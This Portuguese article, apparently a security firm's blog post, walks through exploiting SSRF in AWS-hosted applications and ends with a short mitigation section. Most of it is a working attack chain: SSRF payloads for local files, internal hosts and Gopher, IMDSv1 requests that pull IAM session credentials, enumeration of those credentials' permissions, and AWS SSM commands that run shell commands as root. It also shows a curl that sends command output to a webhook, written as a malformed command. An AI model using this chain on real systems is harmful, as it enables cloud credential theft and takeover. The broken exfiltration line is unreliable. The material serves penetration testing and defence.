A vulnerabilidade SSRF por si só já tem um grande poder destrutivo, ocorre quando uma aplicação faz uma solicitação de recursos para uma URL fornecida pelo usuário, sem validar se é uma URL permitida, assim a aplicação é induzida a solicitar um recurso indesejado.
Podendo ser utilizado para extrair arquivos, credenciais, fazer requisições para serviços internos e externos, e até mesmo explorar outras vulnerabilidades, há inúmeras possibilidades de exploração. Esse número de possibilidades aumenta quando a aplicação vulnerável está hospedada em uma Cloud.
Nesse artigo discorrerei sobre SSRF em aplicações hospedadas especificamente em AWS, o impacto e algumas formas de exploração. Primeiramente será abordado algumas explorações comuns de SSRF, em seguida explicaremos como funciona o serviço de metadados da AWS, conhecido como AWS IMDS, na sequência abordaremos a exploração do AWS IMDS a partir do SSRF, além de formas de mitigação.
Requisitando o servidor local
O SSRF pode ser utilizado em diversos alvos, um deles é o próprio servidor, para acessar portas e serviços que não estão abertos publicamente, ou até mesmo burlar sistemas de controle de acesso, acessando páginas privadas do próprio servidor.
A seguir temos uma requisição na qual o parâmetro url possui uma URL.
POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded
url=http://exemplo.com.br/api/consulta?id=1
Nesse caso, o comportamento do back-end seria enviar uma requisição para a URL fornecida, e retornar a resposta dessa requisição.
Um atacante poderia alterar o valor do parâmetro url para consultar um serviço que não está acessível externamente, por exemplo, um serviço web na porta 8080.
POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded
url=http://localhost:8080/admin
Além da possibilidade de acessar um serviço não disponível externamente, seria possível também burlar o sistema de controle de acesso, caso ele valide que caso a requisição for realizada pelo próprio servidor, ele desconsidere as regras de acesso impostas.
Como também, dependendo da configuração do servidor, é possível até puxar arquivos internos do servidor, o que pode agravar o dano causado pela vulnerabilidade.
POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded
url=file:///etc/passwd
Requisitando servidores na rede interna
O SSRF pode ser utilizado para fazer solicitações externas para outros servidores, por exemplo, servidores da rede interna, que externamente não deveríamos ter acesso. Com isso, aumentamos a superfície de ataque, sendo possível interagir com serviços internos da rede.
POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded
url=http://192.168.0.36/
Um ponto interessante é podermos usar alguns protocolos, e algumas maneiras de interação a partir do payload do SSRF. Listarei alguns possíveis payloads abaixo:
Exemplos de Payloads
Abaixo darei alguns exemplos dos protocolos que podem ser utilizados como payload.
# Files
url=file:///etc/passwd
# FTP
url=ftp://192.168.0.36:21/
# SFTP
url=sftp://192.168.0.36:22/
# TFTP
url=tftp://192.168.0.36:69/
# LDAP
url=ldap://192.168.0.36:389/%0astats%0aquit
Gopher SMTP
Até mesmo fazer requisições mais complexas utilizando payloads com Gopher, como veremos a seguir.
url=gopher://192.168.0.36:25/xHELO%20localhost%250d%250aMAIL%20FROM:%3Chacker@dominio.com.br%3E%250d%250aRCPT%20TO:%3Cvitima@dominio.com.br%3E%250d%250aDATA%250d%250aFrom:%20%5BHacker%5D%20%3Chacker@dominio.com.br%3E%250d%250aTo:%20%3Cvitima@dominio.com.br%3E%250d%250aDate:%20Tue,%2010%20May%202023%2015:30:27%20-0300%20-0400%250d%250aSubject:%20Corpo%20do%20e-mail%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250
Esse payload irá fazer a seguinte requisição SMTP:
HELO localhost
MAIL FROM:<hacker@dominio.com.br>
RCPT TO:<vitima@dominio.com.br>
DATA
From: [Hacker] <hacker@dominio.com.br>
To: <vitima@dominio.com.br>
Date: Tue, 10 May 2023 17:20:26 -0300
Subject: Corpo do e-mail
.
QUIT
Gopher HTTP POST
# Para novas linhas você pode usar %0A, %0D%0A
gopher://192.168.0.36:8080/_POST%20/URI%20HTTP/1.0%0ACookie:%20somecookies%0A%0ARequest%20body
Esse payload irá fazer a seguinte requisição HTTP POST:
POST /URI HTTP/1.0
Cookie: somecookies
Request body
Gopherus – Gerador de payloads Gopher
Para facilitar a geração de payloads no protocolo Gopher deixo como dica a seguinte ferramenta:
- GOPHERUS: https://github.com/tarunkant/Gopherus
A ferramenta é capaz de gerar payloads para o seguintes serviços:
- MySQL (Porta-3306)
- PostgreSQL (Porta-5432)
- FastCGI (Porta-9000)
- Memcached (Porta-11211)
- Redis (Porta-6379)
- Zabbix (Porta-10050)
- SMTP (Porta-25)
Automação da exploração
Uma ferramenta que ajuda a automatizar o ataque é o SSRFMap, não irei exemplificar o uso dele nesse artigo, porém, é uma ferramenta valiosa na exploração dessa vulnerabilidade.
AWS IMDS: Serviços de metadados da AWS
Os metadados de instância da AWS são dados que podem ser utilizados para gerenciar ou configurar uma instância em execução. O AWS IMDS é o serviço de metadados de instância da AWS, utilizado para acessar os metadados em si, e até mesmo configurá-los.
Para acessar esse serviço é utilizado o seguinte IP: 169.254.169.254. Para a instância interagir com a AWS, são utilizadas credenciais temporárias pelo AWS STS, que por si são armazenadas no AWS IMDS, é nesse ponto que existem os maiores riscos.
Ao invés de armazenar os tokens de acesso na própria instância, a AWS criou em 2012 o IMDS como o propósito de tornar mais seguro o armazenamento desses tokens, por exemplo, caso seja utilizado um bucket da S3 para armazenamento de dados, é possível armazenar o token de acesso no serviço do IMDS, e utilizar esse token com o AWS CLI ou AWS SDK.
Nele são encontrados dados do IP Interno, IP Externo, MAC Address, ID da Instância, grupos de segurança, entre outros, e até mesmo tokens temporários de acesso.
Abusando do AWS IMDS com SSRF
Conhecido também como IMDA (Instance Metadata Attacks), pode ser explorado a partir do SSRF. Abaixo vemos um exemplo de uma instância EC2 executando utilizando o curl para requisitar o AWS IMDS. Observa-se que existem vários recursos que podem ser acessados.
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
Com base nos exemplos anteriores, vamos exemplificar tendo em vista que a aplicação vulnerável está hospedada na AWS com acesso ao IMDSv1.
Podemos acessar diversas informações por meio de um SSRF em uma aplicação hospedada AWS, como: informações da instância (hostname, IP, ID, região, tipo da instância, etc.), até mesmo dados do IAM, como tokens de sessão da AWS. Irei exemplificar abaixo a mesma requisição que foi executada acima utilizando curl sendo enviada a partir de uma requisição vulnerável a SSRF:
POST /exemplo/ssrf HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
url=http://169.254.169.254/latest/meta-data/
Assim obteríamos um resultado similar ao encontrado anteriormente:
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
Exemplos payloads para obtenção de dados da instância
Aqui estão alguns exemplos de payloads para obter dados da instância na qual a aplicação vulnerável está sendo executada:
# ID da Instância
url=http://169.254.169.254/latest/meta-data/instance-id
# Tipo de Instância
url=http://169.254.169.254/latest/meta-data/instance-type
# Região da Instância
url=http://169.254.169.254/latest/placement/region
Obtendo a região da instância
Para realizar o ataque precisamos da região que instância está hospedada, para isso utilizaremos o payload já mencionado anteriormente:
url=http://169.254.169.254/latest/placement/region
Nesse caso obtemos a seguinte região na resposta:
us-east-1
Obtendo credenciais
Existem dois caminhos que podem ser seguidos para obter credenciais, um deles que geralmente fornece credenciais com maior permissionamento, por esse caminho que iremos seguir.
As credenciais mais importantes são as do IAM, que na maior parte das vezes oferecem um risco maior. Vale salientar que nem sempre essas credenciais estão disponíveis no IMDS.
Primeiramente devemos coletar qual função (role) está armazenada no IMDS, para isso utilizamos o payload a seguir:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Se alguma credencial do IAM estiver disponível, será retornado a função disponível, por exemplo: iam-ssm-role, ec2-default-ssm, etc., o payload deve seguir o seguinte padrão:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME>
A resposta da requisição deverá retornar os seguintes dados: aws_access_key_id, aws_secret_access_key, aws_session_token, que podem utilizados para se autenticar nos serviços da AWS e interagir com eles. Vemos a seguir um exemplo da resposta:
{
"Code": "Success",
"LastUpdated": "2023-07-31T20:03:02Z",
"Type": "AWS-HMAC",
"AccessKeyId": "<ACCESS_KEY_ID>",
"SecretAccessKey": "<SECRET_ACCESS_KEY>",
"Token": "<SESSION_TOKEN>",
"Expiration": "2023-08-01T02:05:07Z"
}
Credencias da instância EC2
Existe um endpoint do IMDS que retorna credenciais de instância do EC2, conhecido como “EC2 Security Credentials”, essas credenciais são geradas para todas as instâncias EC2, mesmo que não haja alguma função anexada a ela. Para acessar essas credenciais é utilizado o seguinte payload:
url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
A AWS nos fornece a seguinte descrição sobre essas credenciais:
[Reservado apenas para uso interno] As credenciais que a AWS usa para identificar uma instância para o restante da infraestrutura do Amazon EC2.
Geralmente essas credenciais possuem um nível permissionamento baixo, que não permite realizar nenhum tipo de ataque. Porém, vale verificar quais permissões essas credenciais possuem, será abordado na sequência como verificar o permissionamento.
Validando credenciais obtidas
Após obter as credenciais devemos validar se as credenciais são válidas, para isso utilizaremos no AWS CLI. Para instalar o AWS CLI recomendamos seguir o guia oficial da AWS:
https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html
Com o AWS CLI instalado, devemos configurar as credenciais obtidas, existem dois caminhos que podem ser seguidos. O primeiro é utilizar o comando aws configure.
Devem ser informados o Access Key ID, o Secret Access Key, e a região da instância, que foi obtido anteriormente, o AWS CLI executará os comandos na região configurada. Outro ponto importante nessa configuração, não foi solicitado o Session Token que é necessário nesse ataque, por conta disso deverá ser editado manualmente.
Logo partiremos para a segunda opção de configuração, que é editar diretamente o arquivo ~/.aws/credentials, eu particularmente prefiro editar diretamente esse arquivo, sem utilizar o comando aws configure. O arquivo deve conter a seguinte estrutura:
[default]
aws_access_key_id = <ACCESS_KEY_ID>
aws_secret_access_key = <SECRET_ACCESS_KEY>
aws_session_token = <SESSION_TOKEN>
Os valores não precisam estar entre aspas.
É possível definir perfis de configuração, no lugar de [default] pode ser colocado o nome do perfil, como, por exemplo, [pentest], o que pode ser interessante caso existam diferentes perfis de acesso, ou se você já utilizar o AWS CLI para outros fins, caso opte configurar utilizando o comando aws configure, use aws configure para usar um perfil diferente do padrão (default).
A região da instância é configurada em outro arquivo: ~/.aws/config, devendo estar no seguinte formato, respeitando o nome do perfil utilizado anteriormente:
[default]
region = <Região da instância ou de escolha>
output = json
Com o arquivo configurado, podemos validar se a credencial é válida utilizando o seguinte comando: aws sts get-caller-identity, caso as credenciais sejam válidas o retorno será parecido com o seguinte:
Caso retorne algum erro, tente repetir o processo de obtenção das credenciais.
Verificando nível de permissionamento das credenciais
Antes de realizar alguma exploração, iremos verificar qual o nível de permissionamento dessas credenciais obtidas, para isso utilizaremos a ferramenta enumerate-iam.
- Enumerate-iam: https://github.com/andresriancho/enumerate-iam
O setup da ferramenta está presente no repositório.
Para utilizá-la use os seguintes comandos:
# Instale a ferramenta
git clone git@github.com:andresriancho/enumerate-iam.git
cd enumerate-iam/
pip install -r requirements.txt
# Baixe os endpoints da API
cd enumerate_iam/
git clone https://github.com/aws/aws-sdk-js.git
python3 generate_bruteforce_tests.py
rm -rf aws-sdk-js
cd ..
# Enumere as permissões
python3 enumerate-iam.py --access-key '<ACCESS_KEY>' --secret-key '<SECRET_KEY>' --session-token '<SESSION_TOKEN>' --region '<REGION>'
A ferramenta pode demorar um tempo para enumerar todos os serviços.
Caso ela trave no processo, poderá ser alterado o código fonte para reduzir o número de tentativas de enumeração, conforme o pull request abaixo:
- Enumerate-iam: https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c
Explorando Instâncias EC2 – Escalando para RCE
Um risco ao conseguir credenciais da AWS é a possibilidade de executar comandos nas instâncias EC2, escalando assim de um SSRF para um RCE, aumentando o potencial de dano causado. Veremos a seguir como esse ataque pode ser realizado.
Primeiramente listaremos as instâncias disponíveis com o seguinte comando:
aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
Serão obtidas apenas instâncias da região anteriormente configurada, para obter instâncias das demais regiões utilize o Pacu, com ele é possível enumerar instâncias em todas as regiões, outra opção é utilizar o argumento –region no AWS CLI, nesse modo é possível executar em região diferente.
Caso as credenciais obtidas possuam permissões, o retorno será parecido com o seguinte:
1.2.3.4 example-1234567890.us-east-1.ec2.amazonaws.com 172.12.1.120 i-xxxxxxxxxxxxxxxxx False 2023-07-31T18:18:00.000000+01:00 Online Amazon Linux AMI Linux 2022.01 EC2Instance
Uma das informações retornadas é o ID de instância EC2, que será utilizado no comando a seguir. Também pode ser utilizado o ID da Instância com a aplicação vulnerável a SSRF.
Agora tentaremos executar um comando na instância escolhida.
É importante salientar que deve-se ter cuidado com o comando a ser executado, para evitar qualquer tipo de dano ou indisponibilidade na instância a ser testada.
Inicialmente executaremos o comando whoami na instância:
aws ssm send-command --document-name "AWS-RunShellScript" --comment "Testing RCE" --targets "Key=instanceids,Values=[<ID da instância>]" --parameters 'commands=whoami'
Caso as credenciais obtidas tenham permissão para executar comandos na instância EC2, receberemos um retorno parecido com o seguinte:
{
"Command": {
"CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "",
"Comment": "Testing RCE",
"ExpiresAfter": "2023-07-31T18:21:00.000000-03:00",
"Parameters": {
"commands": [
"whoami"
]
},
"InstanceIds": [],
"Targets": [
{
"Key": "instanceids",
"Values": [
"i-xxxxxxxxxxxxxxxxx"
]
}
],
"RequestedDateTime": "2023-07-31T18:21:00.000000-03:00",
"Status": "Pending",
"StatusDetails": "Pending",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": "",
"MaxConcurrency": "50",
"MaxErrors": "0",
"TargetCount": 0,
"CompletedCount": 0,
"ErrorCount": 0,
"DeliveryTimedOutCount": 0,
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
},
"TimeoutSeconds": 3600
}
}
O resultado de execução não é retornado na resposta desse comando, o comando é enviado para uma fila de execução, para assim ser executado na instância, por conta disso devemos utilizar outro comando do AWS CLI para obter o resultado de execução.
Para obter o resultado precisamos do ID do Comando, retornado no parâmetro CommandId. Com esse ID executamos o comando a seguir:
aws ssm list-command-invocations --command-id "<ID do Comando>" --details
Se as credenciais tiverem permissão de ver o resultado do comando executado, obteremos um resultado similar:
{
"CommandInvocations": [
{
"CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"InstanceId": "i-xxxxxxxxxxxxxxxxx",
"InstanceName": "",
"Comment": "RCE test: whoami",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "",
"RequestedDateTime": "2023-07-31T18:24:00.000000-03:00",
"Status": "Success",
"StatusDetails": "Success",
"StandardOutputUrl": "",
"StandardErrorUrl": "",
"CommandPlugins": [
{
"Name": "aws:runShellScript",
"Status": "Success",
"StatusDetails": "Success",
"ResponseCode": 0,
"ResponseStartDateTime": "2023-07-31T18:24:00.000000-03:00",
"ResponseFinishDateTime": "2023-07-31T18:24:00.000000-03:00",
"Output": "root\n",
"StandardOutputUrl": "",
"StandardErrorUrl": "",
"OutputS3Region": "us-east-1",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": ""
}
],
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
}
}
]
}
PWN3D! O comando foi executado com o usuário root! Observe o resultado acima no campo CommandInvocations.CommandPlugins.Output
Houve casos que as credenciais obtidas tinham permissão de enviar o comando, porém não podiam obter o resultado do comando, caracterizando um “blind RCE”, caso isso aconteça é necessário o uso da técnica OAST (Out-of-band application security testing), um exemplo do uso dessa técnica é enviar um comando curl para um webhook, com o resultado do comando desejado no query string. Veremos um exemplo a seguir:
aws ssm list-command-invocations --command-id "curl https://<Webhook URL>/?result=${whoami}" --details
Desse forma você obterá o resultado no webhook.
A partir de agora as possibilidades são enormes, é possível abrir um shell na instância alvo, abrindo um grande leque de oportunidades.
Pacu
Fica a dica de outra ferramenta interessante para a fase de exploração é o Pacu, uma ferramenta que automatiza alguns processos, desde enumeração até a escalação de privilégio. Nesse artigo não abordarei o uso do Pacu.
Mitigação
Existem diversas camadas que podem ser aplicadas para evitar esse tipo de ataque.
SSRF
É fundamental corrigir o problema pela raiz, corrigindo a aplicação vulnerável, para isso é necessário sanitizar a entrada de dados, evitando que sejam requisitadas URLs maliciosas enviadas por usuários, sendo possível criar “permit list” com apenas as URLs permitidas, criar filtros, entre outras ações. Cada aplicação é um universo a parte, por conta disso sugiro ler o guia de prevenção de SSRF da OWASP, e adequar a mitigação na aplicação.
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
O SSRF pode ser escalado a partir da vulnerabilidade XXE, assim deve-se ter atenção nessa possível vulnerabilidade.
AWS IMDS
Em relação ao AWS IMDS, para mitigar é necessário habitar o AWS IMDSv2 e desabilitar o AWS IMDSv1 que é mais suscetível a esse ataque. O AWS IMDSv2 possui uma camada adicional de segurança, que mitiga alguns tipos de SSRF, adicionando um token no header HTTP, que deve ser obtido com o método PUT, apenas assim é possível consultar as informações do IMDS. Essa mitigação pode ser aplicada tanto com o AWS SCPs, quanto com o AWS SSM automation.
Para mais informações abaixo encontra-se a documentação oficial da AWS de como migrar para o IMDSv2.
https://docs.aws.amazon.com/pt_br/AWSEC2/latest/UserGuide/instance-metadata-transition-to-version-2.html
Podemos observar abaixo como funciona o fluxo do IMDSv2.
WAF
Uma camada adicional que pode ser aplicada é o WAF, que pode barrar alguns ataques de SSRF. O ideal é sempre corrigir o problema pela raiz, porém, o WAF pode ser um bom aliado na proteção de possíveis ataques.
Referências
- https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_(SSRF)/
- https://portswigger.net/web-security/ssrf
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
- https://www.skyhighsecurity.com/about/newsroom/blogs/threat-research/how-an-attacker-could-use-instance-metadata-to-breach-aws.html
- https://ibreak.software/2020/04/what-are-these-reserved-set-of-security-credentials-in-aws/
- https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
Telefone: (41) 3153-5090
E-mail: comercial@softwall.com.br
Também em Balneário Camboriú e Região – Santa Catarina:
Telefone: (41) 3153-5090
E-mail: comercial@softwall.com.br
“Sua segurança é o nosso objetivo”